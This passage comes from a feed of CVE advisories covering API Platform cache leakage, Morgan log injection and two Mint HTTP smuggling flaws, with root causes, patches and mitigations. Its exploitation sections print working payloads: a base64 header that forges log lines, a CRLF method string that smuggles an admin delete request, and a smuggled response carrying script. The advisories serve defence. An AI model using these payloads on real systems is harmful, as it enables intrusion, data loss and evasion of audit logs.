attack complexity and the lack of required privileges or user interaction. {/* icon: lock */} {/* type: mitigation */} ## Remediation & Mitigation The primary remediation strategy is upgrading the `@libp2p/gossipsub` package dependency to version `16.0.0` or higher. This update corrects the parser schema mapping, restricts default parsing configurations, and embeds loop-breaking defensive constraints in the event handlers. Additionally, the update integrates stateful rate limiting to prevent peers from requesting excessive data within a single heartbeat window.\n\nIf immediate package updates are blocked by deployment schedules, developers should implement a manual runtime workaround during `GossipSub` initialization. This involves passing a manually defined `decodeRpcLimits` object to override the dangerous default `Infinity` parameters:\n\n```javascript\nimport { GossipSub } from '@libp2p/gossipsub';\n\nconst safeGossipsub = new GossipSub({\n decodeRpcLimits: {\n maxSubscriptions: 5000,\n maxMessages: 5000,\n maxIhaveMessageIDs: 5000,\n maxIwantMessageIDs: 5000,\n maxControlMessages: 5000,\n maxIdontwantMessageIDs: 512,\n maxPeerInfos: 16\n }\n});\n```\n\nSecurity teams should also implement performance monitoring with tools like `perf_hooks` or `blocked-at` to observe event loop lag. Lag spikes beyond 50ms should trigger alerts, indicating that the runtime may be undergoing resource exhaustion or active exploitation attempts. Amit Schendel https://cvereports.com/reports/CVE-2026-49858 https://cvereports.com/reports/CVE-2026-49858 Fri, 10 Jul 2026 14:32:01 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview API Platform Core is a highly extensible framework built on top of the Symfony ecosystem designed to build modern API-driven projects. The framework includes specialized serializers for industry-standard formats such as HAL and JSON:API. These serializers use custom normalizer classes to map internal PHP entity structures into correctly formatted payload responses. To control data exposure dynamically, developers can utilize property-level security declarations that evaluate authorization logic during the serialization process. The dynamic evaluation of authorization rules introduces computational overhead. To optimize performance, the framework implements an in-memory caching mechanism that stores the calculated structural representation of normalized resources. The vulnerability lies within this caching optimization layer, specifically within the HAL and JSON:API item normalizers. When property-level security constraints are applied to a resource, the serializer fails to validate whether the calculated cache key is safe for multi-user contexts. The impact of this design flaw is realized when the application is hosted on modern, persistent PHP application servers. In traditional CGI or PHP-FPM architectures, the entire in-memory state is flushed at the end of each HTTP request, neutralizing the risk of cross-user cache leakage. However, under long-running runtimes like FrankenPHP in worker mode, RoadRunner, Swoole, or ReactPHP, the memory state persists across thousands of independent HTTP requests. This persistence allows a cached resource structure generated during a privileged request to be served directly to subsequent, unauthorized users. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of the vulnerability is the unsafe reuse of the computed structure cache in the `ItemNormalizer` classes for HAL and JSON:API. Specifically, `ApiPlatform\JsonApi\Serializer\ItemNormalizer` and `ApiPlatform\Hal\Serializer\ItemNormalizer` maintain an internal class property called `componentsCache`. This cache maps the resource structural components (attributes, relationships, and links) to specific format contexts using a key derived from `$context['cache_key']`. In vulnerable versions of the framework, the normalizers unconditionally generated and applied the cache key using the `getCacheKey()` method from `CacheKeyTrait`. The generation process did not evaluate whether the target resource class declared property-level security attributes, such as `#[ApiProperty(security: 'is_granted("ROLE_ADMIN")')]`. Because this key was treated as safe by default, any request targeting the resource would resolve to the same cache slot regardless of the requester's security scope. When a highly privileged user, such as an administrator, requests a resource, the serializer evaluates the security expressions on each property. Since the admin is authorized, the restricted attributes are validated, and the resulting structure is stored inside the `componentsCache` property. When a subsequent request is processed by the same worker thread on behalf of an unprivileged user, the normalizer checks the `componentsCache` using the generic cache key. Because the cache key matches, the normalizer returns the cached administrative representation directly, bypassing all property-level security evaluations. {/* icon: code */} {/* type: deep-dive */} ## Code-Level Analysis and Security Patch To resolve this security vulnerability, the maintainers integrated the `isCacheKeySafe` verification mechanism into the serialization process of both the JSON:API and HAL serializers. This mechanism analyzes the target resource class to detect any properties configured with dynamic security constraints. If any security annotation or attribute is detected, the caching mechanism is disabled for that entire resource class, preventing cross-user pollution. ```php // In src/Serializer/AbstractItemNormalizer.php (Base class modification) /** * Check if any property contains a security grant, which makes the cache key not safe, * as allowed_properties can differ for two instances of the same object. */ protected function isCacheKeySafe(array $context): bool { if (!isset($context['resource_class']) || !$this->resourceClassResolver->isResourceClass($context['resource_class'])) { return false; } $resourceClass = $this->resourceClassResolver->getResourceClass(null, $context['resource_class']); if (isset($this->safeCacheKeysCache[$resourceClass])) { return $this->safeCacheKeysCache[$resourceClass]; } $options = $this->getFactoryOptions($context); $propertyNames = $this->propertyNameCollectionFactory->create($resourceClass, $options); $this->safeCacheKeysCache[$resourceClass] = true; foreach ($propertyNames as $propertyName) { $propertyMetadata = $this->propertyMetadataFactory->create($resourceClass, $propertyName, $options); if (null !== $propertyMetadata->getSecurity()) { // Disables caching if a single property has a dynamic security policy $this->safeCacheKeysCache[$resourceClass] = false; break; } } return $this->safeCacheKeysCache[$resourceClass]; } ``` The `ItemNormalizer` implementation for JSON:API was updated to call this gate before assigning the cache key. A similar modification was introduced to the HAL `ItemNormalizer`. The code below shows the comparison between the vulnerable and patched cache key assignment: ```diff // In src/JsonApi/Serializer/ItemNormalizer.php if (!isset($context['cache_key'])) { - $context['cache_key'] = $this->getCacheKey($format, $context); + $context['cache_key'] = $this->isCacheKeySafe($context) ? $this->getCacheKey($format, $context) : false; } ``` ```diff // In src/Hal/Serializer/ItemNormalizer.php if (!isset($context['cache_key'])) { - $context['cache_key'] = $this->getCacheKey($format, $context); + $context['cache_key'] = $this->isCacheKeySafe($context) ? $this->getCacheKey($format, $context) : false; } ``` By setting `$context['cache_key']` to `false`, the caching layer is bypassed entirely during the serialization workflow. This ensures that the dynamic security constraints are evaluated dynamically on each subsequent request. The fix is complete and robust because it shifts the default state to non-cached whenever security attributes are present on any field of the target class. {/* icon: terminal */} {/* type: exploit */} ## Exploitation and Attack Path Exploiting this vulnerability relies on the behavior of persistent PHP workers. The attacker does not need to submit custom payload parameters. Instead, they exploit the synchronization state of the application's persistent runtime. This behavior is illustrated in the sequence diagram below: ```mermaid graph LR A["Admin Session"] -->|"1. GET /api/users/42 (with Admin privileges)"| B["Persistent PHP Worker Process"] B -->|"2. Normalizer executes security evaluation"| C["Render full representation"] C -->|"3. Cache full structure in componentsCache"| B B -->|"4. Complete HTTP Response"| A D["Attacker Session"] -->|"5. GET /api/users/42 (with User privileges)"| B B -->|"6. Match generic cache_key in componentsCache"| E["Return Cached Admin Representation"] E -->|"7. Unauthorized data leaked"| D ``` To perform the attack, an unauthorized user first identifies target endpoints that utilize the HAL or JSON:API format representation. They look for endpoints that expose standard user profiles, financial information, or administrative metadata. The attacker must target systems deployed under runtimes like FrankenPHP worker mode, Swoole, or RoadRunner where worker threads are reused across requests. The attacker then waits for or triggers an administrative request to the target resource. When the administrator's request is handled by a specific worker, the cache is populated with the complete resource model, including the protected properties. The attacker sends rapid, successive requests to the same endpoint. When one of these requests lands on the populated worker process, the system serves the cached structure, revealing the administrator-only properties to the attacker. {/* icon: shield */} {/* type: deep-dive */} ## Impact and Severity Assessment The security impact of CVE-2026-49858 is primarily a high-severity confidentiality breach. Although the vulnerability does not allow an attacker to write, modify, or delete database elements, it grants direct access to restricted properties. Depending on the application schema, this may result in the exposure of personally identifiable information (PII), API tokens, system credentials, or internal configuration values. The CVSS v3.1 base score is calculated at 5.9 (Medium severity). The attack complexity is rated as High (AC:H) because successful exploitation depends on external factors. Specifically, the system must run on a persistent worker framework, and the attacker must execute their request on the same worker process that handled a privileged request before the cache expires or the process restarts. Because the vulnerability does not affect the host operating system directly or allow binary code execution, the impact scope is Unchanged (S:U). The integrity (I) and availability (A) ratings are both None (N). However, the high confidentiality rating means that targeted attacks against administrative endpoints present a critical data leak risk. {/* icon: lock */} {/* type: mitigation */} ## Remediation and Defenses The primary remediation strategy is upgrading the `api-platform/core` package to a patched release. Ensure that your composer dependency constraints resolve to one of the following safe versions: `>= 4.1.29`, `>= 4.2.26`, or `>= 4.3.12`. Running `composer update api-platform/core` within your deployment pipeline will apply the patch. If upgrading immediately is not possible, the caching vector can be disabled by switching off the persistent execution models of your PHP web server. Configuring FrankenPHP to run in standard request mode instead of worker mode prevents process memory from persisting across HTTP requests. Similarly, using classic PHP-FPM instead of Swoole or RoadRunner completely mitigates this vulnerability. Alternatively, developers can implement a custom context builder to globally disable the cache key generation for affected formats. By registering a custom serializer context builder, you can intercept the serialization request and force the `cache_key` parameter to `false` for HAL and JSON:API requests. This configuration forces the normalizer to execute dynamic property security checks on every individual request at the cost of slight performance overhead. Alon Barad https://cvereports.com/reports/CVE-2026-5078 https://cvereports.com/reports/CVE-2026-5078 Fri, 10 Jul 2026 14:32:15 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview Morgan is a highly utilized HTTP request logger middleware for Node.js, designed to intercept incoming HTTP requests and output standardized access logs. It is frequently integrated with frameworks like Express and Connect. To generate log records, Morgan relies on predefined tokens such as `:method`, `:status`, `:url`, and `:remote-user`. The `:remote-user` token is designed to extract and display the username of an authenticated client using basic HTTP authentication. The vulnerability, registered as CVE-2026-5078, belongs to the Improper Output Neutralization for Logs class (CWE-117). In vulnerable versions of the middleware (1.2.0 through 1.10.1), Morgan outputs the authenticated username directly to the logging destination without sanitizing control characters. This lack of sanitization allows an attacker to inject Carriage Return (`\r`) and Line Feed (`\n`) characters into the log file, creating arbitrary new lines. Centralized logging infrastructures and security information and event management (SIEM) systems process logs under the assumption that a single line represents a single request. By introducing unescaped CRLF sequences, an unauthenticated remote attacker can break this line-oriented structure. The primary security boundary violated here is log integrity, allowing attackers to write false system events or corrupt log parsing engines. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The underlying flaw stems from the design of basic HTTP authentication and how Node.js processes incoming headers. Native Node.js HTTP parsers strictly validate incoming HTTP header lines. If raw CRLF characters are sent within an HTTP header, the parser rejects the malformed request to prevent HTTP request smuggling and header injection attacks. This network-level filter protects downstream application logic from direct injection of raw newlines. However, basic authentication credentials are submitted via the `Authorization: Basic <base64>` header, where the credentials are encapsulated within a Base64-encoded string. Because Base64 encoding uses a safe, alphanumeric character set (`A-Z`, `a-z`, `0-9`, `+`, `/`, `=`), the payload successfully bypasses all front-end HTTP parser validation routines. The request reaches the application logic where the Morgan middleware attempts to parse the header. Morgan uses the third-party `basic-auth` library to decode the Base64 value and extract the username and password fields. When `basic-auth` decodes the string, the embedded CRLF sequences are restored to their raw byte representation. Because Morgan historically logged the returned username directly without escaping control characters, these raw CRLF bytes were written straight to the output stream (such as `process.stdout` or an active log file), ending the current log line prematurely and initiating a new, attacker-controlled line. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis In vulnerable versions of Morgan, the definition of the `:remote-user` token was defined in `index.js` as follows: ```javascript morgan.token('remote-user', function getRemoteUserToken (req) { var credentials = auth(req) // return username return credentials ? credentials.name : undefined }) ``` In this implementation, the `credentials.name` value (extracted from the `basic-auth` helper) is returned exactly as parsed. There is no sanitization or escaping applied before returning this string to the formatting engine. To resolve this vulnerability, the maintainers introduced a validation and sanitization utility function named `escapeLogField` in commit `b3f5d9bdb388690dfae9c06ab966328f49b7982b`. This function targets all control characters and backslashes: ```javascript /** * Escape control characters and backslashes so a value is safe for * line-oriented logs. * @private * * @param {*} value Value to escape. * @returns {string|undefined} Escaped string, or undefined for null/undefined. */ function escapeLogField (value) { if (value == null) return undefined // eslint-disable-next-line no-control-regex return String(value).replace(/[\u0000-\u001f\u007f\\]/g, function (ch) { switch (ch) { case '\\': return '\\\\' case '\b': return '\\b' case '\f': return '\\f' case '\n': return '\\n' case '\r': return '\\r' case '\t': return '\\t' default: return '\\u' + ('0000' + ch.charCodeAt(0).toString(16)).slice(-4) } }) } ``` The updated `:remote-user` token definition wraps the credential return in this sanitizer, converting raw CRLF bytes into literal `\r` and `\n` character pairs: ```javascript morgan.token('remote-user', function getRemoteUserToken (req) { var credentials = auth(req) // return username return credentials ? escapeLogField(credentials.name) : undefined }) ``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology An unauthenticated attacker can exploit this vulnerability by transmitting a specifically constructed `Authorization: Basic` header. To perform line splitting and log injection, the attacker constructs a username containing raw Carriage Return and Line Feed bytes, encodes the payload to Base64, and appends it to the authorization request. Consider a basic logging layout where Morgan utilizes the standard `common` or `combined` format. The template expects: `[IP] - [Username] [[Timestamp]] "[Request]" [Status]`. To inject a fake entry, the attacker formats a username containing the desired fake parameters preceded by a newline sequence: ```text - [01/Jan/1970 00-00-00 +0000] "GET /injected HTTP/1.1" 200 - "-" "curl/8.14.1"\r\n192.0.2.0 - - :x ``` This payload is converted to its Base64 representation: ```text LSBbMDEvSmFuLzE5NzAgMDAtMDAtMDAgKzAwMDBdICJHRVQgL2luamVjdGVkIEhUVFAvMS4xIiAyMDAgLSAiLSIgImN1cmwvOC4xNC4xIg0KMTkyLjAuMi4wIC0gLSA6eA== ``` The attacker then transmits the following HTTP request to the target application: ```http GET / HTTP/1.1 Host: target-server.internal Authorization: Basic LSBbMDEvSmFuLzE5NzAgMDAtMDAtMDAgKzAwMDBdICJHRVQgL2luamVjdGVkIEhUVFAvMS4xIiAyMDAgLSAiLSIgImN1cmwvOC4xNC4xIg0KMTkyLjAuMi4wIC0gLSA6eA== ``` Because the raw newline sequence terminates the line in the target log storage, the log parser processes two separate lines. The first line records the incoming connection as if it originated from a spoofed IP (e.g., `192.0.2.0`), pretending a legitimate `GET /injected` request occurred successfully. The second line contains the remainder of the actual request, obfuscating the actual source IP and requested URI of the attacker. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The impact of CVE-2026-5078 is primarily centered around log integrity and security auditing evasion. While it does not directly lead to remote code execution or unauthorized data extraction on its own, it severely undermines the reliability of application security monitoring. In modern enterprise architectures, access logs are automatically aggregated and ingested by SIEM platforms to trigger security alerts, track administrative access, and generate compliance reports. Successful exploitation allows an attacker to insert forged security alerts or fake successful actions, distracting incident response teams with false-positive events. Alternatively, attackers can mask their actual malicious actions by wrapping their real activity in forged formatting that mimics routine health checks or administrative tasks. Furthermore, if the raw log files are viewed directly in terminals, unescaped ANSI escape sequences or control codes included in the username could exploit terminal emulator vulnerabilities, or simply confuse system administrators. The CVSS 3.1 base score of 5.3 reflects that while confidentiality and availability remain unaffected, log integrity can be completely compromised by an unauthenticated network adversary. {/* icon: lock */} {/* type: mitigation */} ## Remediation & Detection Remediation of CVE-2026-5078 requires updating the `morgan` dependency to version `1.11.0` or higher, which integrates the `escapeLogField` sanitization utility. Application administrators can perform the upgrade by executing: ```bash npm install morgan@1.11.0 ``` If upgrading the library is not immediately viable, administrators should temporarily alter their logging configuration. Replacing pre-configured formats like `combined` or `common` with a custom format that completely omits the `:remote-user` token removes the injection vector. For example: ```javascript // Secure workaround: Omit :remote-user token app.use(morgan(':remote-addr - :method :url :status :response-time ms')); ``` To detect historical exploitation attempts, security operations teams should query SIEM datastores for literal representations of control characters (e.g., `\\r\\n` or `\\u000d\\u000a`) within the username logging field. Since the patched version of Morgan writes these as literal escaped string sequences, the presence of these literals in the log stream highlights that an exploitation attempt was executed and successfully neutralized by the patch. Alon Barad https://cvereports.com/reports/CVE-2026-48861 https://cvereports.com/reports/CVE-2026-48861 Thu, 09 Jul 2026 23:19:12 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The vulnerability is located in Mint, a widely used low-level HTTP client library for the Elixir programming language. The component exposes a client-side attack surface when application code acts as a proxy, webhook forwarder, or API gateway. When such applications accept user-controlled strings to define outbound HTTP connection parameters, they pass the untrusted inputs directly to Mint's internal serialization layers. In vulnerable versions, Mint fails to validate or neutralize carriage return (CR) and line feed (LF) characters inside the HTTP method parameter. This failure violates RFC 9110 specifications, which mandate that HTTP methods consist only of valid token characters. Consequently, an attacker can submit a crafted HTTP method containing embedded CRLF characters to manipulate the client's output stream. The resulting injection splits the outbound HTTP stream into multiple distinct requests. From the perspective of downstream proxy servers, reverse proxies, or load balancers, the single TCP connection appears to contain multiple independent pipelined queries. This behavior facilitates a range of attacks including unauthorized lateral movement, server-side request forgery (SSRF), and cache poisoning. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of the vulnerability resides in the HTTP/1 request-line compilation logic within Mint. According to the HTTP/1.1 specification, a standard request-line must strictly conform to a defined structure consisting of the method, a single space, the request target, another single space, the protocol version, and a terminating CRLF sequence. In vulnerable versions of Mint, specifically inside the `lib/mint/http1/request.ex` module, the `encode_request_line/2` function compiles the request-line by directly concatenating the user-supplied method and target parameters into an iolist. This implementation is completed without checking if either variable contains forbidden control characters, spaces, or protocol delimiter bytes. While Mint 1.7.0 introduced the helper `validate_request_target/2` to sanitize target URIs and prevent CRLF injections via the path or query string, the library left the HTTP method parameter completely unvalidated. The developers assumed that applications would only supply static, hardcoded method names like "GET" or "POST" to the client library. However, when an application dynamically accepts and forwards an HTTP method from an external source, this design assumption fails. Because there is no token validation on the method string, any control sequences inserted by the attacker pass unaltered into the network socket. The receiving server parses these control characters as structural boundaries, altering the intended request structure. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis An analysis of the vulnerable codebase in `lib/mint/http1/request.ex` reveals the following serialization logic: ```elixir defp encode_request_line(method, target) do [method, ?\s, target, " HTTP/1.1\r\n"] end ``` This implementation directly interpolates the `method` argument into the character stream. The official patch (`fad091454cbb7449b19edb8e1fee12ca7cf28c3a`) addresses this weakness by introducing a strict whitelist check on the HTTP method argument before compiling the request-line. ```elixir # lib/mint/http1/request.ex def encode(method, target, headers, body) do + validate_method!(method) + body = [ encode_request_line(method, target), encode_headers(headers), ``` The fix is implemented within the new private function `validate_method!/1`, which loops through each byte of the method parameter and validates it against the `is_tchar/1` macro imported from `Mint.HTTP1.Parse`: ```elixir + defp validate_method!(method) do + _ = + for <<char <- method>> do + unless is_tchar(char) do + throw({:mint, {:invalid_request_method, method}}) + end + end + + :ok + end ``` Because the `is_tchar/1` macro restricts allowed bytes to the exact set of token characters permitted by RFC 9110, control characters such as tabs, spaces, carriage returns, and line feeds are rejected. If an illegal byte is encountered, the library throws an exception which is subsequently translated into an invalid request method error. This patch prevents the compilation of malformed request lines and successfully mitigates the CRLF injection vector. {/* icon: terminal */} {/* type: exploit */} ## Exploitation & Smuggling Methodology Exploitation requires an application that acts as an intermediary, receiving input from an untrusted source and forwarding it to Mint without sanitization. An attacker constructs an HTTP request targeting the proxy application, supplying a malicious payload within the parameter mapped to the outbound HTTP method. An attacker may transmit a payload where the method argument contains the following sequence: ```text GET / HTTP/1.1\r\nHost: internal-service.local\r\n\r\nGET /admin/delete_user?id=1 HTTP/1.1\r\nHost: internal-service.local\r\nIgnore-Header: ``` When Mint processes this input, it writes the concatenated byte stream to the connection. The resulting TCP payload is formatted as follows: ```http GET / HTTP/1.1 Host: internal-service.local GET /admin/delete_user?id=1 HTTP/1.1 Host: internal-service.local Ignore-Header: /api/v1/resource HTTP/1.1 ``` ```mermaid sequenceDiagram autonumber actor Attacker participant ClientProxy as Elixir Application (Mint) participant Upstream as Upstream Web Server Attacker->>ClientProxy: Request with malicious "method" payload ClientProxy->>Upstream: Sends raw stream with embedded CRLF characters Note over Upstream: Parses first request line up to CRLF boundary Upstream->>Upstream: Processes initial request Note over Upstream: Parses subsequent bytes as second, smuggled request Upstream->>Upstream: Executes "/admin/delete_user" administrative action Upstream-->>ClientProxy: Returns responses for both requests ClientProxy-->>Attacker: Relays response data ``` Upon receiving this stream, the downstream server parses the first section as a legitimate, benign request. Due to the double CRLF (`\r\n\r\n`) sequence, the parser treats the subsequent bytes as a second, separate pipelined request. The final, dangling fragment is appended to the smuggled request headers, completing the injection. This technique successfully bypasses security controls that are only applied to the outer request wrapper. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment & Attack Scenarios The concrete impact of CVE-2026-48861 is determined by the downstream network architecture and the authorization model of the environment. In environments where reverse proxies or load balancers cache content, attackers can exploit request splitting to inject arbitrary cached responses. This cache poisoning vector can result in the distribution of malicious content to other, unrelated users of the application. In microservice architectures, this flaw facilitates lateral movement and security bypasses. Because the smuggled request originates from the internal IP address of the Elixir gateway application, the target service processes the request under the assumption that it comes from a trusted internal source. This trust allows the attacker to execute privileged actions or access sensitive endpoints without authentication. The vulnerability is assigned a CVSS v4.0 base score of 2.1, reflecting a low severity under isolated circumstances. This low score is due to the prerequisite that application developers must actively design a proxy pattern that accepts dynamic, user-controlled HTTP methods. However, in deployments that implement such patterns, the vulnerability presents a significant security risk. At present, the vulnerability has an EPSS score of 0.00166, indicating a low probability of active exploitation in the wild. It is not currently included in the CISA Known Exploited Vulnerabilities catalog. Nevertheless, organizations running vulnerable configurations should remediate the issue to prevent potential exploitation. {/* icon: shield */} {/* type: mitigation */} ## Remediation & Detection Guidance The primary and recommended mitigation for this vulnerability is upgrading the `mint` package to version 1.9.0 or higher. This update introduces the necessary HTTP method token validation checks inside the request compilation process, neutralizing the CRLF injection vector at the library boundary. If upgrading the dependency is not immediately possible, developers must implement application-level input validation. Any user-supplied parameter destined for the HTTP method field must be validated against a strict whitelist of standard HTTP methods. This validation can be performed in the application controller layer: ```elixir defp validate_http_method(method) when method in ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS"] do {:ok, method} end defp validate_http_method(_invalid_method), do: {:error, :invalid_method} ``` Security teams can detect vulnerable instances of Mint by performing dependency scans on their Elixir codebases. Tools such as `mix hex.audit` or static application security testing (SAST) utilities like Sobelow can flag outdated package dependencies. Additionally, network-level detection can be implemented via Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS). Rules should be configured to detect and drop inbound requests containing carriage returns or line feeds within application parameter values designed for downstream proxy routing. Amit Schendel https://cvereports.com/reports/CVE-2026-49753 https://cvereports.com/reports/CVE-2026-49753 Thu, 09 Jul 2026 23:19:16 GMT {/* icon: search */} {/* type: overview */} ## Vulnerability Overview The Elixir Mint client (`elixir-mint/mint`) is a low-level, process-less HTTP client designed for high-performance network communication in Erlang and Elixir environments. It is frequently employed in applications that require robust connection pooling, proxy support, and pipeline performance. In HTTP/1.1 communication, parsing boundaries are defined strictly by the `Content-Length` or `Transfer-Encoding` headers. If an HTTP client and an intermediary reverse proxy disagree on the length of a response, they will mismatch where one HTTP response ends and the subsequent response begins on a shared, persistent socket. This vulnerability arises because Mint's HTTP/1 parser accepts sign-prefixed values (such as `+100` or `+0`) in the `Content-Length` header. Because strict reverse proxies and load balancers drop or reject such headers, this parser differential creates an exploitation pathway for HTTP request and response smuggling. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of this vulnerability lies in the use of Elixir's native `Integer.parse/1` function within the `Mint.HTTP1.Parse.content_length_header/1` function. Elixir's `Integer.parse/1` utility is designed for general-purpose string-to-integer conversion. It parses a leading sign prefix, meaning strings like `+123` are successfully parsed as the integer `123`, and `-10` is parsed as `-10`. Mint attempted to validate this value by checking if the resulting parsed integer was non-negative (`length >= 0`), which successfully blocked negative lengths but allowed positive-sign prefixes to pass. Under RFC 7230 (Section 3.3.2) and RFC 9110 (Section 8.6), the standard HTTP/1.1 specification defines the grammar of `Content-Length` using the following ABNF rule: ```text Content-Length = 1*DIGIT ``` This specification strictly restricts the characters in the header to ASCII digits (`0-9`). It explicitly forbids any sign prefix, including `+` or `-`. When an upstream server under an attacker's control responds to Mint with `Content-Length: +100`, Mint processes this as a valid message body of 100 bytes. However, an intermediary proxy implementing strict RFC validation will flag `+100` as invalid, and may treat the response body as having a length of zero or ignore the message framing altogether. This difference in implementation creates a classic response-smuggling condition. {/* icon: code */} {/* type: deep-dive */} ## Code-Level Analysis and Historical Context The vulnerable logic has existed in Mint's ancestral codebase since 2017. It was originally introduced in the legacy `xhttp` client library in commit `65e0e86d799a6d3b08e4372fccdd9747535e0dd6` before being migrated into Mint's `lib/mint/http1/parse.ex` file. Below is the vulnerable implementation in Mint before the fix: ```elixir def content_length_header(string) do # String.trim_trailing/1 is executed, then Integer.parse/1 converts the string case Integer.parse(String.trim_trailing(string)) do {length, ""} when length >= 0 -> {:ok, length} _other -> {:error, {:invalid_content_length_header, string}} end end ``` To remediate this parsing flaw, the maintainers modified the header processor in commit `47e48027480228e4e32a0b4df39db497b4804921` to validate the string before parsing it. The revised implementation uses a custom pattern-matching function `only_digits?/1` to ensure that only standard ASCII digits are passed to `String.to_integer/1`: ```elixir def content_length_header(string) do trimmed = String.trim_trailing(string) # Strictly enforce that the trimmed string contains only ASCII digits if only_digits?(trimmed) do {:ok, String.to_integer(trimmed)} else {:error, {:invalid_content_length_header, string}} end end # Helper function to recursively check for strict ASCII digits (0x30 to 0x39) defp only_digits?(<<char>>) when is_digit(char), do: true defp only_digits?(<<char, rest::binary>>) when is_digit(char), do: only_digits?(rest) defp only_digits?(_other), do: false ``` This change successfully eliminates the use of `Integer.parse/1` for input validation and blocks sign prefixes, hexadecimal indicators, and spaces. {/* icon: terminal */} {/* type: exploit */} ## Exploitation and Attack Scenarios Exploitation relies on a shared connection architecture where the Mint HTTP client connects to an untrusted upstream server through an intermediary proxy. A typical scenario involves an application hosting a webhook service, an SSRF-vulnerable interface, or a reverse proxy utilizing the Mint client. An attacker controls the destination server and triggers an outbound request from the Mint client. The attacker's server then responds with a payload designed to split the connection buffer: ```http HTTP/1.1 200 OK Content-Length: +50 Connection: keep-alive HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 <script>alert(1)</script> ``` The proxy, receiving this sequence, rejects `+50` as an invalid `Content-Length`. It processes the header as `0` or treats the response as terminated. It then considers the trailing bytes containing the second HTTP header as the start of a pipelined HTTP response or leaves them in the pipeline. Mint, on the other hand, reads exactly 50 bytes of response body and completes its cycle. When a victim subsequently requests a resource over the same pooled connection, the proxy matches the victim's request with the remaining smuggled bytes left in the socket stream. The victim is then served the smuggled response containing the attacker's script payload, resulting in cross-site scripting (XSS), credential leakage, or session hijacking. ```mermaid graph LR Proxy["Intermediary Proxy (Strict)"] Mint["Mint Client (Lenient)"] Attacker["Attacker Upstream"] Victim["Victim User"] Attacker -->|"Sends Content-Length: +50"| Mint Proxy -->|"Rejects header, flags body length as 0"| Mint Mint -->|"Consumes 50 bytes as body"| Attacker Victim -->|"Sends legitimate request"| Proxy Proxy -->|"Correlates victim request with smuggled buffer"| Victim ``` {/* icon: shield */} {/* type: deep-dive */} ## Security Patch Assessment and Potential Bypass Variants A detailed security analysis of the patch reveals a subtle edge-case behavior that could potentially be targeted in specialized environments. The patch executes `trimmed = String.trim_trailing(string)` prior to performing the `only_digits?/1` check. In Elixir, `String.trim_trailing/1` is Unicode-aware. It strips not only standard ASCII carriage returns, line feeds, and horizontal tabs, but also any Unicode-defined trailing whitespace character. This includes characters such as the No-Break Space (`\u00A0`), Ogham Space Mark (`\u1680`), or En Quad (`\u2000`). If an attacker provides a header containing a trailing Unicode space character: ```text Content-Length: 100\u00A0 ``` Mint's Unicode-aware trimmer strips the trailing `\u00A0`, leaving the string `"100"`. This passes the `only_digits?/1` check, and Mint processes it as a valid content length of 100 bytes. However, many strict intermediary proxies and load balancers do not recognize Unicode spaces as valid Optional Whitespace (OWS) under RFC rules. Standard proxies recognize only ASCII Space (`0x20`) and Horizontal Tab (`0x09`). Such a proxy will view the non-ASCII character as an invalid character, causing it to ignore the header or close the connection. This discrepancy maintains a minor parser differential that could allow for response smuggling in environments where the intermediary enforces strict ASCII-only OWS validation while Mint performs Unicode-aware trimming. To completely close this attack vector, the parser should be hardened to strip only strict ASCII whitespace characters. {/* icon: lock */} {/* type: mitigation */} ## Mitigation, Detection, and Defense-in-Depth The primary remediation for this vulnerability is to upgrade the `mint` dependency to version `1.9.0` or higher. Developers should update their `mix.exs` configuration file and run `mix deps.get` to fetch the patched library. For environments where immediate upgrades are not possible, several defense-in-depth measures can mitigate the risk. Network administrators should configure Web Application Firewalls (WAF) or Reverse Proxies to drop incoming responses from upstream servers that contain non-numeric characters inside the `Content-Length` header. Disabling connection reuse (such as turning off Keep-Alive) or isolating connection pools by user session prevents the multiplexing of untrusted upstream connections with legitimate client sessions, removing the primary vector required to execute smuggling attacks. Amit Schendel